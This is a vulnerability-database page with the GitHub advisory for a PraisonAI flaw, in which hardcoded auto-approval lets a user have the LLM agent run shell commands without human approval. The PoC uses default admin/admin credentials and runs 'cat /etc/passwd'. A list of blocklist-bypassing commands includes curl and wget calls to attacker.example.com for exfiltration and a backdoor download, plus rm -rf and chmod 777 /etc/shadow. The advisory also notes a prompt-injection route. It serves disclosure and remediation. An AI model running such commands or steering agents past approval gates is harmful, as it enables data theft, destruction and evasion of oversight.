CVE-2026-56075
highpriority · track · 0OT risk · elevatedEPSS 0.006 · 48 %ileEUUSEPSS · scored 2026-10-27
PraisonAI before 4.5.128 contains an arbitrary shell command execution vulnerability where the UI modules hardcode approval_mode to auto, overriding administrator configuration from PRAISON_APPROVAL_MODE environment variable. Authenticated attackers can instruct the LLM agent to execute arbitrary shell commands via subprocess.run with shell=True, bypassing the manual approval gate and insufficient command sanitization blocklists.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.3–8.8
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (2)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-qwgj-rrpj-75xmPraisonAI: Hardcoded `approval_mode="auto"` in Chainlit UI Overrides Administrator Configuration, Enabling Unapproved Shell Command Execution2026-04-10ghsa · osvUS
## Summary The Chainlit UI modules (`chat.py` and `code.py`) hardcode `config.approval_mode = "auto"` after loading administrator configuration from the `PRAISON_APPROVAL_MODE` environment variable, silently overriding any "manual" or "scoped" approval setting. This defeats the human-in-the-loop approval gate for all ACP tool executions, including shell command execution via `subprocess.run(..., shell=True)`. An authenticated user can instruct the LLM agent to execute arbitrary single-command shell operations on the server without any approval prompt. ## Details The application has a well-designed approval framework supporting `auto`, `manual`, and `scoped` modes, configured via the `PRAISON_APPROVAL_MODE` environment variable and loaded by `ToolConfig.from_env()` at `interactive_tools.py:81-106`. However, both UI modules unconditionally override this after loading: **`chat.py:156-159`:** ```python config = ToolConfig.from_env() # reads PRAISON_APPROVAL_MODE=manual config.workspace = os.getcwd() config.approval_mode = "auto" # hardcoded override, ignoring admin config ``` **`code.py:155-158`:** ```python config = ToolConfig.from_env() config.workspace = os.environ.get("PRAISONAI_CODE_REPO_PATH", os.getcwd()) config.approval_mode = "auto" # same hardcoded override ``` This flows to `agent_tools.py:347-348` in the `acp_execute_command` function: ```python auto_approve = runtime.config.approval_mode == "auto" # always True approved = await orchestrator.approve_plan(plan, auto=auto_approve) ``` The plan is auto-approved without user confirmation and reaches `action_orchestrator.py:458`: ```python result = subprocess.run( step.target, shell=True, # shell execution capture_output=True, text=True, cwd=str(workspace), timeout=30 ) ``` **Command sanitization is insufficient.** Two blocklists exist: 1. `_sanitize_command()` at `agent_tools.py:60-86` blocks: `$(`, `` ` ``, `&&`, `||`, `>>`, `>`, `|`, `;`, `&`, `\n`, `\r` 2. `_apply_step()` at `action_orchestrator.py:449` blocks: `;`, `&`, `|`, `$`, `` ` `` Both only target command chaining/substitution operators. Single-argument destructive commands pass both blocklists: `rm -rf /home`, `curl http://attacker.example.com/exfil`, `wget`, `chmod 777 /etc/shadow`, `python3 -c "import os; os.unlink('/important')"`, `dd if=/dev/zero of=/dev/sda`. ## PoC **Prerequisites:** PraisonAI UI running (`praisonai ui chat` or `praisonai ui code`). Default credentials not changed. ```bash # Step 1: Start the Chainlit UI praisonai ui chat # Step 2: Log in with default credentials at http://localhost:8000 # Username: admin # Password: admin # Step 3: Send a chat message requesting command execution: # "Please run this command for me: cat /etc/passwd" # The LLM agent calls acp_execute_command("cat /etc/passwd") # _sanitize_command passes (no blocked patterns) # approval_mode="auto" → auto-approved at agent_tools.py:347-348 # subprocess.run("cat /etc/passwd", shell=True) executes at action_orchestrator.py:458 # Contents of /etc/passwd returned in chat # Step 4: Demonstrate the override of admin configuration: # Even with PRAISON_APPROVAL_MODE=manual set in the environment, # chat.py:159 overwrites it to "auto" export PRAISON_APPROVAL_MODE=manual praisonai ui chat # Commands still auto-approve because of the hardcoded override ``` **Commands that bypass sanitization blocklists:** - `rm -rf /home/user/documents` — no blocked characters - `chmod 777 /etc/shadow` — no blocked characters - `curl http://attacker.example.com/exfil` — no blocked characters - `wget http://attacker.example.com/backdoor -O /tmp/backdoor` — no blocked characters - `python3 -c "__import__('os').unlink('/important/file')"` — no blocked characters ## Impact - **Arbitrary command execution:** An authenticated user (or attacker with default `admin/admin` credentials) can execute any single shell command on the server hosting PraisonAI, subject only to the OS-level permissions of the PraisonAI process. - **Confidentiality breach:** Read arbitrary files accessible to the process (`/etc/passwd`, application secrets, environment variables containing API keys). - **Integrity compromise:** Modify or delete files, install backdoors, tamper with application code. - **Availability impact:** Kill processes, consume disk/memory, delete critical data. - **Administrator control undermined:** Even administrators who explicitly set `PRAISON_APPROVAL_MODE=manual` to require human approval have their configuration silently overridden, creating a false sense of security. - **Prompt injection vector:** Since the agent also processes external content (web search results via Tavily, uploaded files), malicious content could trigger command execution through the auto-approved tool without direct user intent. ## Recommended Fix Remove the hardcoded override and respect the administrator's configured approval mode. In both `chat.py` and `code.py`: ```python # Before (chat.py:156-159): config = ToolConfig.from_env() config.workspace = os.getcwd() config.approval_mode = "auto" # Trust mode - auto-approve all tool executions # After: config = ToolConfig.from_env() config.workspace = os.getcwd() # Respect PRAISON_APPROVAL_MODE from environment; defaults to "auto" in ToolConfig # Administrators can set PRAISON_APPROVAL_MODE=manual for human-in-the-loop approval ``` Additionally, strengthen `_sanitize_command()` to use an allowlist approach rather than a blocklist: ```python import shlex ALLOWED_COMMANDS = {"ls", "cat", "head", "tail", "grep", "find", "echo", "pwd", "wc", "sort", "uniq", "diff", "git", "python", "pip", "node", "npm"} def _sanitize_command(command: str) -> str: # Existing blocklist checks... # Additionally, check the base command against allowlist try: parts = shlex.split(command) except ValueError: raise ValueError(f"Could not parse command: {command!r}") base_cmd = os.path.basename(parts[0]) if parts else "" if base_cmd not in ALLOWED_COMMANDS: raise ValueError( f"Command {base_cmd!r} is not in the allowed command list. " f"Allowed: {', '.join(sorted(ALLOWED_COMMANDS))}" ) return command ```
also known as (3)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (7)
External citations — patches, advisories, analysis.
- https://github.com/MervinPraison/PraisonAI/releasesPatchcnnvd
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qwgj-rrpj-75xmcnnvd
- https://www.vulncheck.com/advisories/praisonai-arbitrary-shell-command-execution-via-hardcoded-approval-mode-overridecnnvd
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qwgj-rrpj-75xmenisa_euvd
- https://www.vulncheck.com/advisories/praisonai-arbitrary-shell-command-execution-via-hardcoded-approval-mode-overrideenisa_euvd
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qwgj-rrpj-75xmnvd
- https://www.vulncheck.com/advisories/praisonai-arbitrary-shell-command-execution-via-hardcoded-approval-mode-overridenvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan